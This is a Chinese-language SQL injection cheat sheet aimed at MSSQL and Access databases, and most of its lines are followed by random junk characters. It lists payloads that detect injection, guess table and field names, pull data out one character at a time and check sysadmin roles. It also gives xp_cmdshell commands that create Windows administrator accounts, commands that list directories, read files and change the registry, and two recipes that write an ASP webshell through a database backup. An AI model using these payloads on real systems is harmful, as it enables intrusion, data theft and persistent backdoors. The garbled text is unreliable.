1.判断是否有注入;and 1=1 ;and 1=2 >&kb|)
2.初步判断是否是mssql ;and user>0 )5M9Ro7
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3.注入参数是字符'and [查询条件] and ''=' ?-e'gC
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' D|Tv`47ntu
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5.判断数据库系统 H@8g 9;+
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;and (select count(*) from sysobjects)>0 mssql ZoiCdXvTN
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;and (select count(*) from msysobjects)>0 access zFtw Aa =r
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 Z`l97$\
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 B0:[3@P7
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 S>]Jc$
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9.(1)猜字段的ascii值(access) <Dr*^GX>?
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 w:z@!<
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(2)猜字段的ascii值(mssql) T1y,L<7?
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 X`ifjZ9}d
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10.测试权限结构(mssql) `O5kI#m)L*
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- nFl=D=50-
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- c
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- #4{f2s[j6
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- [|2uu."$
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- \<VwGbzFi
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ,>%AEN6N2
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;and 1=(select IS_MEMBER('db_owner'));-- B{W2D
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11.添加mssql和系统的帐户 [?BmW{*u.
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;exec master.dbo.sp_addlogin username;-- Y#c11q Z
;exec master.dbo.sp_password null,username,password;-- /D_8uTS>d[
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- xZS
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;exec master.dbo.xp_cmdshell 'net user username password -o F#a 8
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- F5%-6@=
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- pM\)f
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- tqrvcnQr^
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12.(1)遍历目录 6.~(oepu
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;create table dirs(paths varchar(100), id int) ]k{cPK
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;insert dirs exec master.dbo.xp_dirtree 'c:\' sEdWBT 8
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;and (select top 1 paths from dirs)>0 ~SZ0Yu:X
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) h|%d=`P,
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(2)遍历目录 8dUwJ"<5
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- #>~$`Sg
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 + 7E6U*
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ;pb~Zk/[,w
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 I|9e4EX{y
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 OU9=O>
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13.mssql中的存储过程 FPFt3XL
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xp_regenumvalues 注册表根键, 子键 )KBv[|
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 _V:D7\Gs
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xp_regread 根键,子键,键值名 3u{[(W}08
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;exec xp_regread 1 ,D2][
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ,fET.s^|U
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xp_regwrite 根键,子键, 值名, 值类型, 值 4ItXZ o
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 Fl*@@jQ8cV
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Q
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xp_regdeletevalue 根键,子键,值名 wM!QU{Lz
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 L1rov
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 /~
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14.mssql的backup创建webshell YT:<AJm
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use model '{:(4>&
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create table cmd(str image); dc?Yk3(Y
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insert into cmd(str) values (''); N(1jm F
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backup database model to disk='c:\l.asp'; 9w0 ^=
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15.mssql内置函数 %eT/:I
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;and (select @@version)>0 获得Windows的版本号 IRS^F;)
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa YKM(qh2
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;and (select user_name())>0 爆当前系统的连接用户 HPpnw]_
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;and (select db_name())>0 得到当前连接的数据库 ORHC bw9
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16.简洁的webshell 6Jj)[ R\5=
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use model 2G'G45Q
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create table cmd(str image); r% B5@+{so
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insert into cmd(str) values (''); 0cS.|\ZTA
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backup database model to disk='g:\wwwtest\l.asp';